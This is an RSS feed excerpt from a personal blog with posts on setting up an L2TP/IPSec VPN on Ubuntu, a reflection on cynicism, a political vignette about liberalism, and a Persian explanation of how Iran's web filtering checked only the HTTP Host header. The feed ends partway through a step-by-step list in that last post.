		<category><![CDATA[English]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[IPSec]]></category>
		<category><![CDATA[L2TP]]></category>
		<category><![CDATA[L2TP over IPSec]]></category>
		<category><![CDATA[openswan]]></category>
		<category><![CDATA[OpenVPN]]></category>
		<category><![CDATA[PKI]]></category>
		<category><![CDATA[ppp]]></category>
		<category><![CDATA[PPTP]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[PSK]]></category>
		<category><![CDATA[SSTP]]></category>
		<category><![CDATA[Virtual Private Network]]></category>
		<category><![CDATA[xl2tpd]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=686</guid>
		<description><![CDATA[This post is a tutorial on how to run a L2TP over IPSec VPN Server for proxy purposes on a Ubuntu 10.04 LTS Server machine. Before we start the practice, let us review some theories: What is VPN? Virtual Private Network, is a technology, mainly developed to provide creation of virtual local networks with a [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">This post is a tutorial on how to run a L2TP over IPSec VPN Server for proxy purposes on a Ubuntu 10.04 LTS Server machine. Before we start the practice, let us review some theories:</p>
<p dir="ltr"><strong>What is VPN?</strong></p>
<p dir="ltr">Virtual Private Network, is a technology, mainly developed to provide creation of virtual local networks with a wide geographic distribution. For example, we have a data-center and a considerable network in <a title="Bandar Abbas" href="http://en.wikipedia.org/wiki/Bandar_Abbas">Bandar Abbas</a> that requires constant maintenance and connectivity to our main servers and offices back in Tehran. We need a local network which consists of our office networks and the Bandar Abbas network, but since they are geographically distributed, we can&#8217;t have them local, so we cheat and virtually create a private (local) network, hence VPN.</p>
<p dir="ltr">Specifically speaking, we start a VPN server on our Bandar Abbas hub server (main.rajaei.abx.ir), then create a VPN connection from our computer (or router) and connect to it, and it would be like we have just plugged an Ethernet cable into our system, directly connected to whole Bandar Abbas network. After that we could simply connect to our surveillance server at 192.168.0.220 (which is a Bandar Abbas network IP, not ours) via any application.</p>
<p dir="ltr">As you might&#8217;ve already guessed, since VPN is usually established over the Internet, the most important thing to expect is data transmission security. No third party on the route should be able to sniff on our corporates data, right? VPN security is almost the main issue.</p>
<p dir="ltr"><strong>Then what is PPTP, L2TP, IPSec, SSTP, etc. ?</strong></p>
<p dir="ltr"><strong></strong>VPN, is a concept. It&#8217;s also a technology, but many protocols and mixtures of technologies tend to provide such means. The simplest form is <a href="http://en.wikipedia.org/wiki/Pptp">PPTP</a>, the point to point tunneling protocol. It is easily established, easily connected and fast. To setup a PPTP server on Ubuntu, you need less than 5 minutes. The problem with PPTP is data encryption. To encrypt data with PPTP, both parties (VPN Client and Server) have to agree on an encryption key, and any hacker listening while they are discussing it, would be able to read their transfers.</p>
<p dir="ltr">Then there comes OpenVPN, which is totally open source and good, but since there&#8217;s no native client on Windows, no body actually uses it. <a href="http://en.wikipedia.org/wiki/Secure_Socket_Tunneling_Protocol">SSTP</a> is also only Windows based, which is based on <a href="http://en.wikipedia.org/wiki/Secure_Sockets_Layer">SSL</a> Tunnels, very like the IPSec underlying layer of L2TP.</p>
<p dir="ltr">The other mostly used VPN technology, is <a href="http://en.wikipedia.org/wiki/L2TP">L2TP</a>, which relies on <a href="http://en.wikipedia.org/wiki/Ipsec">IPSec</a> (lower network layer protocol) for its security. IPSec is a protocol which uses <a href="http://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a> (Public Key Infrastructure), or <a href="http://en.wikipedia.org/wiki/Pre-shared_key">PSK</a> (Pre-Shared Keys) which both are means to establish <a href="http://en.wikipedia.org/wiki/Zero-knowledge_proof">Zero-Knowledge</a> connections securely without a third party being able to guess the password.</p>
<p dir="ltr">L2TP is technically called L2TP over IPSec, which is because first IPSec establishes a secure connection between two systems, then layer 2 tunneling protocol takes over for the networking and VPN functionality.</p>
<p dir="ltr"><strong>VPN as a means of proxy</strong></p>
<p dir="ltr"><strong></strong>In many cases, VPN is used for bypassing certain limitations and/or privacy, as proxy servers are used. Since VPN establishes a low level networking, proxies based on a VPN proxy all sorts of network connections, not just the web or videos. Anything, from peer to peer connections to DNS lookups are performed over the VPN.</p>
<p dir="ltr">To use a VPN for proxy purpose, we simply need to connect to a VPN far away (usually outside filtering region, if we are trying to bypass regional filtering) and use their internet connection. It is as if out Internet gateway, is not our own modem, but the computer over at the VPN.</p>
<p dir="ltr">VPN technologies (all PPTP, L2TP, SSTP, OpenVPN, etc.) work on certain ports and use certain traceable technologies. So blocking VPN usage is pretty simple, as PPTP no longer works more than a few seconds in Iran.</p>
<p dir="ltr">But with SSTP and L2TP, since both use a lower level encryption methodology (IPSec for L2TP), they can not be easily blocked. You might think that it would be pretty easy to prevent all IPSec connections and thus stop L2TP, as well as SSL for SSTP, but the case is, IPSec and SSL are used for all forms of encryption. When you use a banking service on the Internet, you employ SSL. When you transfer a file securely over the network, you employ IPSec. Blocking them would stop half of the Internet functionality.</p>
<p dir="ltr">There&#8217;s also no way of peeking into IPSec or SSL encrypted data (which contain the actual VPN packets), hence L2TP and SSTP services could not be stopped that easily.</p>
<p dir="ltr"><strong>Lets get dirty</strong></p>
<p dir="ltr"><span id="more-686"></span></p>
<p dir="ltr"><strong></strong>Now I&#8217;m going to provide you with instructions on how to setup and use a L2TP VPN on your Ubuntu server for proxy purpose.</p>
<p dir="ltr">First of all, install a few packages:</p>

<blockquote>
<p dir="ltr">sudo apt-get install ppp xl2tpd openswan</p>
</blockquote>
<p dir="ltr">After having all the necessary daemons, assuming your server&#8217;s IP address is 178.162.154.252 (which is actually abiusx.com&#8217;s), put the following in <em>/etc/ipsec.conf file</em></p>

<blockquote dir="ltr">
<p dir="ltr">version 2.0</p>
config setup
nat_traversal=yes
virtual_private=%v4:10.0.0.0/8,%v4:192.168.1.0/16,%v4:172.16.0.0/12
oe=off
protostack=netkey

include /etc/ipsec.d/l2tp-psk.conf</blockquote>
<p dir="ltr">Then open up <em>/etc/ipsec.d/l2tp-psk.conf</em> and put the following in it, don&#8217;t forget to replace my IP with yours:</p>

<blockquote>
<p dir="ltr">conn L2TP-PSK-NAT
rightsubnet=vhost:%priv
also=L2TP-PSK-noNAT</p>
<p dir="ltr">conn L2TP-PSK-noNAT
authby=secret
pfs=no
auto=add
keyingtries=3
rekey=no
type=transport
left=<del>178.162.154.252</del>
leftnexthop=<del>178.162.154.1</del>
leftprotoport=17/1701
right=%any
rightprotoport=17/%any
dpddelay=15
dpdtimeout=30
dpdaction=clear</p>
</blockquote>
<p dir="ltr">You also need to open <em>/etc/ipsec.secrets </em>and put your pre-shared secret (e.g 123456789) in it:</p>

<blockquote>
<p dir="ltr"><del>178.162.154.252</del>   %any:  PSK &#8220;123456789&#8243;</p>
</blockquote>
<p dir="ltr">Now restart IPSec, and watch your /var/log/auth.log and you&#8217;re done for IPSec on the server. On the client (preferably a Windows machine), create a VPN connection, on its properties dialog, in security tab, there&#8217;s &#8220;IPSec Settings&#8221; which asks you for the pre-shared secret. Provide 123456789. On the networking tab, from Type of VPN, select L2TP IPSec VPN. Now connect and inspect your server:</p>

<blockquote>
<p dir="ltr">sudo service ipsec restart
sudo tail -f /var/log/auth.log</p>
</blockquote>
<p dir="ltr">You should see something like &#8220;<em>IPsec SA established</em>&#8221; in middle of some logs, that means IPSec was successfully established. Of course the VPN connection will fail since we haven&#8217;t setup L2TP part yet.</p>
<p dir="ltr"><strong>L2TP Setup</strong></p>
<p dir="ltr"><strong></strong>Now we need to configure xl2tpd, there are three files we need to change, two are xl2tpd config files, and one is username/password file. Let&#8217;s start with <em>/etc/xl2tpd/xl2tpd.conf</em> which should have the following:</p>

<blockquote>
<p dir="ltr">[global]
ipsec saref = yes
[lns default]
ip range = 192.168.1.231-192.168.1.239
local ip = 192.168.1.230
refuse chap = yes
refuse pap = yes
require authentication = yes
ppp debug = yes
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes</p>
</blockquote>
<p dir="ltr">Then off to<em>  /etc/ppp/options.xl2tpd </em>which would have:</p>

<blockquote>
<p dir="ltr">require-mschap-v2
ms-dns 192.168.1.1
asyncmap 0
auth
crtscts
lock
hide-password
modem
debug
name l2tpd
proxyarp
lcp-echo-interval 30
lcp-echo-failure 4</p>
</blockquote>
<p dir="ltr">And finally <em>/etc/ppp/chap-secrets</em> which contains username/password pairs:</p>

<blockquote>
<p dir="ltr">username l2tpd 1234 192.168.1.231
l2tpd username 1234 192.168.1.231
user2 l2tpd 123 *</p>
</blockquote>
<p dir="ltr">Since the * format crashes on some versions of xl2tpd, preferably use the static user/ip method. To wrap things up, <em>/etc/sysctl.conf</em> should contain &#8220;net.ipv4.ip_forward = 1&#8243; which enables IP Forwarding. If you just added it, do a networking restart or system reboot.</p>
<p dir="ltr">Oh and you might need to do some routing to route VPN IPs to your gateway.</p>
<p dir="ltr">Have fun using L2TP over IPSec.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/l2tp-on-ubuntu-10-04-lts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Cynic and the Condemned</title>
		<link>http://abiusx.com/the-cynic-and-the-condemned/</link>
		<comments>http://abiusx.com/the-cynic-and-the-condemned/#comments</comments>
		<pubDate>Sun, 01 Jan 2012 18:51:59 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Cynic]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Areté]]></category>
		<category><![CDATA[Depression]]></category>
		<category><![CDATA[Greek]]></category>
		<category><![CDATA[Greek Philosophy]]></category>
		<category><![CDATA[Idealist]]></category>
		<category><![CDATA[Philosophy]]></category>
		<category><![CDATA[Quote]]></category>
		<category><![CDATA[wiki]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=681</guid>
		<description><![CDATA[Well, I know for a fact that I&#8217;m a cynic. But I wanted to have a definition for it, so I took a peek at the Internet. The sweet Wikipedia had some definition, totally irrelevant of the popular culture, based on some old Greek Philosophy practicing Areté. Finally I found some interesting matching definitions on [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">Well, I know for a fact that I&#8217;m a cynic. But I wanted to have a definition for it, so I took a peek at the Internet. The sweet Wikipedia had some definition, totally irrelevant of the popular culture, based on some old Greek Philosophy practicing Areté.</p>
<p dir="ltr">Finally I found some interesting matching definitions on wiki.answers.com :</p>
<p dir="ltr"><em><strong>What is the difference between a cynic and an idealist?</strong></em></p>

<blockquote>
<p dir="ltr">A cynic is someone who fails to thrive, who picks apart good ideas and has a tendency to make life boring and miserable for himself and others. They do not see the purpose of success. They do not get excited. They do not understand where the passion of others comes from. Idealists are dreamers of success and have a potential to succeed. They have grand dreams of things they are interested in and work hard to see them come to light. If they fail, they can quite easily become cynics themselves. Many might argue that a cynic is simply an idealist who has experienced failure. In other words, you must first be an idealist before you have the capacity to be cynical.</p>
</blockquote>
<p dir="ltr">And also, a few interesting quotes on the subject, which I really enjoyed :</p>

<blockquote>
<p dir="ltr">“The cynic is one who never sees a good quality in a man, and never fails to see a bad one. He is the human owl, vigilant in darkness and blind to light, mousing for vermin, and never seeing noble game. The cynic puts all human actions into two classes &#8211; openly bad and secretly bad.” Henry Ward Beecher</p>
<p dir="ltr">“A cynic is a man who, when he smells flowers, looks around for a coffin.”
H. L. Mencken</p>
<p dir="ltr">“A cynic is not merely one who reads bitter lessons from the past, he is one who is prematurely disappointed in the future.” Sidney J. Harris</p>
</blockquote>
<p dir="ltr">And for the end an example of a cynical statement:</p>

<blockquote>
<p dir="ltr">&#8220;In the depths of my heart I can’t help being convinced that my dear fellow-men, with a few exceptions, are worthless.&#8221; Sigmund Freud</p>
</blockquote>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/the-cynic-and-the-condemned/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Why liberalism only suits US</title>
		<link>http://abiusx.com/why-liberalism-only-suits-us/</link>
		<comments>http://abiusx.com/why-liberalism-only-suits-us/#comments</comments>
		<pubDate>Wed, 28 Dec 2011 00:55:53 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Story]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[freedom]]></category>
		<category><![CDATA[justice]]></category>
		<category><![CDATA[liberalism]]></category>
		<category><![CDATA[peace]]></category>
		<category><![CDATA[united states]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=641</guid>
		<description><![CDATA[This is People&#8217;s Republic of China, an old man is headed into a banking establishment to do some everyday bank tasks. The bank is quite crowded, but after a few minutes it&#8217;s finally his turn to take up the booth. He  seems pretty slow with papers and also isn&#8217;t the sharpest when answering the bank [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">This is People&#8217;s Republic of China, an old man is headed into a banking establishment to do some everyday bank tasks. The bank is quite crowded, but after a few minutes it&#8217;s finally his turn to take up the booth. He  seems pretty slow with papers and also isn&#8217;t the sharpest when answering the bank employee&#8217;s questions, and this has been going on for a while.</p>
<p dir="ltr">The young lady who has entered the bank a few seconds after the old man, is growing impatient with the old man&#8217;s progress. She&#8217;s next, but it doesn&#8217;t seem like her turn will be coming up soon. Also, there aren&#8217;t any empty booths as there aren&#8217;t many functional booths available in the bank, and even if they were, they might&#8217;ve been occupied as well.</p>
<p dir="ltr">She couldn&#8217;t switch banks, since other banks are also pretty crowded and the switching process would probably consume more time than she&#8217;s gonna end up waiting for her turn in a lifetime of bank chores. After all, there are rarely enough banks for all of people in China, as in almost any other country.</p>
<p dir="ltr">While taking her time to wait, the bright women is fantasizing something in her head :</p>

<blockquote>
<p dir="ltr">This is the United States, an old man goes into a bank to pay some bills. Since the bank is almost empty, as soon as he enters the bank, the booth accepts him. The man has around 30 bills and is quite slow doing paperwork, so he&#8217;s gonna take at least 45 minutes.</p>
<p dir="ltr">Another customer, a young woman also enters the bank. She seems impatient, and seeing the old man taking his time is boring her. Fortunately, there are plenty of other empty booths waiting for other customers, and even if there weren&#8217;t, she could easily switch banks and choose another eager one with plenty of room for new customers. After all, there are many more banks than people actually need in the US.</p>
<p dir="ltr"><em>Liberalism is pretty delicious, ain&#8217;t it?</em></p>
</blockquote>
<p dir="ltr">Thinking of all that, our lady realizes the old man has made only a little progress. She&#8217;s wondering what is the right thing to do in a situation like this, to put the old man at the back of the waiting line, since his task requires considerable time, or let him do whatever he requires in his own turn.</p>
<p dir="ltr">The second idea, however liberal it might sound, is starting to seem dull and inefficient to the lady, and amazingly the first one is the course of action she chooses as best fitting.</p>
<p dir="ltr"><em>After all, Liberalism ain&#8217;t that suiting for everybody, is it?</em></p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/why-liberalism-only-suits-us/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>نحوه فیلترینگ در ایران و نقاط ضعف آن</title>
		<link>http://abiusx.com/%d9%86%d8%ad%d9%88%d9%87-%d9%81%db%8c%d9%84%d8%aa%d8%b1%db%8c%d9%86%da%af-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86-%d9%88-%d9%86%d9%82%d8%a7%d8%b7-%d8%b6%d8%b9%d9%81-%d8%a2%d9%86/</link>
		<comments>http://abiusx.com/%d9%86%d8%ad%d9%88%d9%87-%d9%81%db%8c%d9%84%d8%aa%d8%b1%db%8c%d9%86%da%af-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86-%d9%88-%d9%86%d9%82%d8%a7%d8%b7-%d8%b6%d8%b9%d9%81-%d8%a2%d9%86/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 02:22:58 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[شبکه]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[کامپیوتر]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[آدرس به آی پی]]></category>
		<category><![CDATA[آدرس فیلترینگ]]></category>
		<category><![CDATA[ترمینال]]></category>
		<category><![CDATA[حذف فیلترینگ]]></category>
		<category><![CDATA[درخواست HTTP]]></category>
		<category><![CDATA[رفع فیلتر]]></category>
		<category><![CDATA[رفع فیلترینگ]]></category>
		<category><![CDATA[سایت پربازدید]]></category>
		<category><![CDATA[سایت چند سروری]]></category>
		<category><![CDATA[سرآیند Host]]></category>
		<category><![CDATA[سرور تک سایتی]]></category>
		<category><![CDATA[سرور وب]]></category>
		<category><![CDATA[سرور چند سایتی]]></category>
		<category><![CDATA[سیستم فیلترینگ ایران]]></category>
		<category><![CDATA[صفحه فیلترینگ]]></category>
		<category><![CDATA[عبور از فیلترینگ]]></category>
		<category><![CDATA[عملکرد فیلترینگ]]></category>
		<category><![CDATA[فرآیند فیلتر]]></category>
		<category><![CDATA[فرآیند فیلترینگ]]></category>
		<category><![CDATA[فیلترینگ ایران]]></category>
		<category><![CDATA[فیلترینگ دی ان اس]]></category>
		<category><![CDATA[فیلترینگ محتوایی]]></category>
		<category><![CDATA[فیلترینگ وب]]></category>
		<category><![CDATA[مراحل فیلترینگ]]></category>
		<category><![CDATA[مرورگر]]></category>
		<category><![CDATA[نحوه بارگزاری یک صفحه وب]]></category>
		<category><![CDATA[نحوه کارکرد فیلترینگ]]></category>
		<category><![CDATA[پاسخ HTTP]]></category>
		<category><![CDATA[پاسخ انتقال]]></category>
		<category><![CDATA[پردازش صفحه]]></category>
		<category><![CDATA[پروتکل HTTP]]></category>
		<category><![CDATA[کاوشگر وب]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=614</guid>
		<description><![CDATA[نکته: ضعف معرفی شده در این مطلب از دی‌ماه ۱۳۹۰ توسط تیم فیلترینگ رفع گردیده است و این مطلب صرفا کاربرد آموزشی-فنی دارد. امشب برای راه‌اندازی چندنوع پراکسی با تکنولوژی‌های مختلف، مجبور شدم نحوه کارکرد سیستم فیلترینگ ایران رو بررسی کنم و به نتایج خیلی جالبی رسیدم که خوبه شما هم بدونید : اولا که [...]]]></description>
				<content:encoded><![CDATA[<div dir="rtl">
<p style="text-align: center;"><strong>نکته:</strong> ضعف معرفی شده در این مطلب از دی‌ماه ۱۳۹۰ توسط تیم فیلترینگ رفع گردیده است و این مطلب صرفا کاربرد آموزشی-فنی دارد.</p>
امشب برای راه‌اندازی چندنوع پراکسی با تکنولوژی‌های مختلف، مجبور شدم نحوه کارکرد سیستم فیلترینگ ایران رو بررسی کنم و به نتایج خیلی جالبی رسیدم که خوبه شما هم بدونید :

اولا که فیلترینگ تنها بر روی وب (یعنی پروتکل‌های HTTP , HTTPs) پیاده شده و هیچ پروتکل دیگری فیلتر نیست، در حالی که فیلترینگی که آمریکا به دلیل محرومیت بر ایران اعمال کرده تمام پروتکل‌ها رو شامل می‌شه. اما قبل از اینکه ادامه فرآیند فیلترینگ رو بدونیم، لازمه بدونیم که چگونه یک سایت بر روی کامپیوتر ما لود می‌شه.

<strong>فرآیند بارگزاری یک سایت</strong>

به عنوان مثال فرض کنید آدرس www.facebook.com/profile/abiusx رو در کاوشگر وب خودتون وارد کردید (Internet Explorer یا Mozilla Firefox). کاوشگر شما این آدرس رو به آدرس کاملی که شما حوصله تایپش رو نداشتید تبدیل می‌کنه:
<p style="text-align: center;">http://www.facebook.com/profile/abiusx</p>
<p style="text-align: right;">این آدرس نوع پروتکل رو نیز در بر داره (که پیش فرض وب هست) و به کاوشگر اجازه می‌ده نحوه باز کردن اون رو تشخیص بده. قبل از هر کاری، کاوشگر وب باید بدونه www.facebook.com بر روی کدوم کامپیوتر سرور روی اینترنت قرار داره، یعنی شماره اون کامپیوتر رو بدونه. این فرآیند توسط پروتکل زیرساختی DNS انجام می‌گیره که آدرس‌ها رو به شماره تبدیل می‌کنه.</p>
<p style="text-align: right;">نکته مهمی که بعدا به اون بر خواهیم خورد اینه که DNS ماهیت پرسش و پاسخی داره، یعنی کامپیوتر شما از کامپیوتر دیگری در شبکه (که معمولا ISP یا همون سرویس دهنده اینترنتتون هست) سوال می‌کنه که این آدرس شماره اش چنده؟ و پاسخ می‌گیره. بسیاری از فیلترینگ‌ها در دنیا در همین مرحله پیاده می‌شن، یعنی کامپیوتر بالادست به شما پاسخ می‌ده که این آدرسش <a title="صفحه فیلترینگ" href="http://10.10.34.34" target="_blank">10.10.34.34</a> هست (آدرس کامپیوتری که صفحه فیلترینگ روش قرار داره)، اما اینگونه فیلترینگ به سادگی قابل رفع هست. کافیه شما یک کامپیوتر خارج از ایران رو به عنوان DNS خودتون مشخص کنید، مثلا 4.2.2.4 رو در تنظیمات اتصال به شبکه به عنوان آدرس کامپیوتر DNS خودتون وارد کنید و نگذارید که اتوماتیک مشخص شه. از این پس سوالات  DNS شما از این کامپیوتر پرسیده می‌شه و قاعدتا پاسخ‌های اون هم واقعی هستند و صفحه فیلترینگ نیستند.</p>
<p style="text-align: right;">همچنین باید توجه کرد که هر کامپیوتری در شبکه (اینترنت) که معمولا یک شماره داره، ممکنه یک یا چند سایت رو روی خودش سرویس دهی کنه. معمولا سایت‌های کوچک و کم مشتری بر روی کامپیوترهایی با چند سایت دیگر مشترک هستند، سایت‌های معمولی و پربازدید بر روی یک سرور اختصاصی با یک شماره هستند و سایت‌های معروف بر روی چندین سرور مختلف به صورت همزمان سرویس‌دهی می‌شوند.</p>
<p style="text-align: right;">برای درک این نسخه، برنامه ترمینال (Command Prompt) خود را باز کنید و دستورات زیر را وارد نمایید :</p>
<p style="text-align: center;">nslookup www.google.com</p>

<blockquote>
<p style="text-align: center;">دستور فوق چندین شماره برمی‌گرداند، زیرا سایت گوگل بر روی چندین سرور مختلف سرویس دهی می‌شود</p>
</blockquote>
<p style="text-align: center;">nslookup www.etebaran.ir</p>

<blockquote>
<p style="text-align: center;">دستور فوق تنها یک شماره برمی‌گرداند زیرا این سایت بر روی یک سرور قرار دارد.</p>
</blockquote>
<p style="text-align: center;">nslookup www.abiusx.com</p>
<p style="text-align: center;">nslookup www.etebaran.com</p>

<blockquote>
<p style="text-align: center;">هر دوی دستورات زیر یک آدرس برمی‌گردانند، زیرا هردو سایت بالا بر روی یک کامپیوتر سرو می‌شوند.</p>
</blockquote>
<p style="text-align: right;">پس از اینکه کاوشگر شماره کامپیوتر مقصد رو به دست آورد، یک اتصال شبکه از نوع TCP بر روی پورت ۸۰ (پورت مخصوص وب) برقرار می‌کنه و یک درخواست از نوع HTTP ارسال می‌کنه که جناب کامپیوتر مقصد، من فلان صفحه شمارو می‌خوام. قالب این درخواست متنی به صورت زیره :</p>

<pre dir="ltr">GET http://www.facebook.com/profile/abiusx HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=9PmTx2exnapZfHmnegR9MsiPb2C00aDc6
If-Modified-Since: Sat, 30 Jul 2011 15:21:45 GMT
Cache-Control: max-age=0</pre>
این درخواست HTTP دارای <a href="http://en.wikipedia.org/wiki/HTTP" target="_blank">اطلاعات خاصی</a> است. برخی از خط‌های آن اختیاریست و برخی خط‌ها هم در بعضی درخواست‌ها وجود دارد که اینجا نیست. خط اول نوع درخواست (GET)، آدرس آن و نسخه پروتکل (1.1)‌ را معین می‌سازد. این خط مهمترین خط است و برای سرور مقصد همین یک خط به عنوان درخواست کفایت می‌کند تا بداند چه چیزی را باید به ما تحویل دهد.

در خط دوم، سایت مورد نظر ذکر می‌شود. این خط توسط سرور وب استفاده می‌شود تا اگر چند سایت بر روی سرور قرار دارد، تشخیص دهد که کدامیک از آنها را باید نمایش دهد. لذا اگر تنها یک سایت بر روی سرور باشد، این خط کارایی ندارد. این خط جزو استاندارد HTTP است و باید همواره ذکر شود.

خط‌های بعدی نوع کاوشگر مبدا و سیستم عامل و زبان‌های قابل فهم و زمان و غیره را مشخص می‌کند تا سرور مقصد بر اساس آنها صفحه مناسب را ارائه دهد. این خط‌ها تنها برای کاوشگران حرفه‌ای وب مهم هستند.

سرور مقصد پس از دریافت این اطلاعات و پردازش آن، صفحه مورد نظر را پیدا کرده در قالب پاسخ HTTP با فرمت زیر ارسال می‌کند:
<pre dir="ltr"> HTTP/1.1 200 OK
 Date: Mon, 23 May 2005 22:38:34 GMT
 Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
 Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
 Etag: "3f80f-1b6-3e1cb03b"
 Accept-Ranges: bytes
 Content-Length: 438
 Connection: close
 Content-Type: text/html; charset=UTF-8</pre>
این پاسخ نمایانگر مشخصات سرور و وضعیت پاسخ است که توسط کاوشگر ما پردازش می‌شود. در ادامه این سرآیند، معمولا حجم انبوهی داده به قالب HTML (زبان ارائه وب) پیوست شده است که متن است، ولی توسط چشم انسان به سادگی قابل فهم نیست ولی توسط برنامه کاوشگر وب قابل درک است. کاوشگر وب این داده را پردازش می‌کند و در قالب صفحات وب بر روی صفحه رسم می‌کند تا کاربر آنها را مرور کند.

نکته‌ای قابل توجه آنست که در میانه پردازش این داده، کاوشگر گاهی مجددا به آدرسی دیگر (مثل آدرس یک تصویر یا یک تکه صوت یا اسکریپت) بر می‌خورد و مجددا به همان سرور درخواستی ارسال می‌کند تا آن تکه داده را نیز دریافت کند و در رسم صفحه به کار بگیرد.

<strong>چگونگی فیلترینگ</strong>

یک فیلترینگ خوب، باید در مراحل مختلف بر روی درخواست و پاسخ اعمال شود. ابتدا اینکه در مرحله DNS باید پاسخ مقتضی برگرداند، که البته به راحتی قابل رفع است. سپس در مرحله درخواست باید خط اول و دوم را بررسی کند و آدرس سایت مقصد را استخراج کند و بر اساس آن تشخیص دهد که فیلتر شده است یا خیر. اگر فیلتری شده بود، پاسخ HTTP از نوع انتقال صفحه ( 301 Redirect)‌ به آدرس صفحه فیلترینگ را به جای آدرس اصلی برگرداند.

در مرحله سوم باید بر اساس محتوای داده بازگشتی از سایت مقصد، تصمیم بگیرد که آنرا نگه دارد یا با انتقال تغییر دهد. اینکار از نظر پردازش بسیار هزینه‌بر است زیرا باید یک برنامه پیچیده تمام داده را مطالعه و پردازش کند و الگو‌های مورد نظر را تطبیق دهد، ولی معمول‌ترین روشیست که استفاده می‌شود.

در ایران فیلترینگ تنها در فاز دوم (تشخیص آدرس از سرآیند) آنهم به صورت ناقص صورت می‌گیرد، یعنی تنها سرآیند Host بررسی می‌شود و آدرس آن با لیست فیلترینگ تطبیق یک به یک داده می‌شود، به همین دلیل بود که مثلا تا مدت بسیاری آدرس ww.facebook.com برای دسترسی به فیس بوک قابل استفاده بود.

<strong>راه ساده عبور از فیلترینگ</strong>

از آنجایی که تنها سرآیند Host در درخواست ما بررسی می‌شود و آدرس می‌تواند در خط اول درخواست جای گیرد و Host به کلی حذف شود (یا با آدرس سایتی بی مورد جایگزین شود)، راه بسیار ساده‌ای برای رفع فیلترینگ سایت‌هایی که سرور اختصاصی دارند وجود دارد. البته سایت‌هایی که با دیگر سایت‌ها در یک سرور مشترک هستند نیاز به Host دارند تا سرورشان تشخیص دهد کدام سایت درخواست شده است و مثلا همین سایت بنده را با اعمال این راه‌حل نمی‌توانید مرور کنید.

قبل از توضیح روش اعمال، فرآیند زیر را انجام دهید تا بیشتر با جزئیات کار آشنا شوید:
<ol>
	<li>ترمینال (Command Prompt) خود را اجرا نمایید و دستور زیر را وارد کنید</li>
	<li>telnet facebook.com 80</li>
	<li>دستور فوق یک اتصال به سرور موجود در facebook.com بر روی پورت 80 ایجاد می‌کند (همان کاری که کاوشگر می‌کند). پس از برقرار اتصال پیامی مبنی بر آماده بودن ارسال اطلاعات به شما می‌دهد. حال باید درخواست HTTP را وارد کرد.</li>
	<li>GET /profile/abiusx HTTP/1.1</li>
	<li>Host: www.facebook.com</li>
	<li>پس از وارد کردن این دو خط، دوبار کلید Enter را فشار دهید. پس از چند لحظه پاسخ بر روی صفحه ظاهر خواهد شد :</li>
</ol>
<pre dir="ltr">HTTP/1.1 403 Forbidden

&lt;html&gt;&lt;head&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1256"&gt;&lt;title&gt;LCT4-3
&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;iframe src="http://10.10.34.34?type=Invalid Site&amp;policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"&gt;&lt;/iframe&gt;&lt;/body&gt;&lt;/html&gt;</pre>
کد نتیجه 403 یعنی عدم اجازه دسترسی، به همراه بدنه‌ای که کاوشگر شمارا به سایتی در آدرس http://10.10.34.34 هدایت می‌کند به عنوان پاسخ ارسال شده است (در زبان HTML) با کمی مرور متن پاسخ این اطلاعات مشخص است. اکنون فرآیند زیر را انجام دهید تا پاسخ فیلتر نشود :
<ol>
	<li>ترمینال خود را باز نمایید و دستور زیر را وارد کنید :</li>
	<li>telnet facebook.com 80</li>
	<li>پس از برقرار اتصال تک خط درخواست زیر را وارد کرده، دوبار کلید Enter را بزنید:</li>
	<li>GET http://www.facebook.com/profile/abiusx HTTP/1.1</li>
	<li>پاسخی به صورت زیر خواهد داد، که یعنی صفحه‌ای که شما می‌خواهید در آدرس دیگری قرار دارد (از آنجایی که نوع کاوشگر را مشخص نکرده‌اید، فیس بوک فکر می‌کند نوع خاصی از تلفن همراه هستید که صفحه آن آدرس خاصی دارد). آن آدرس را مجددا درخواست کنید و دوبار Enter بزنید:</li>
	<li>GET http://www.facebook.com/common/browser.php HTTP/1.1</li>
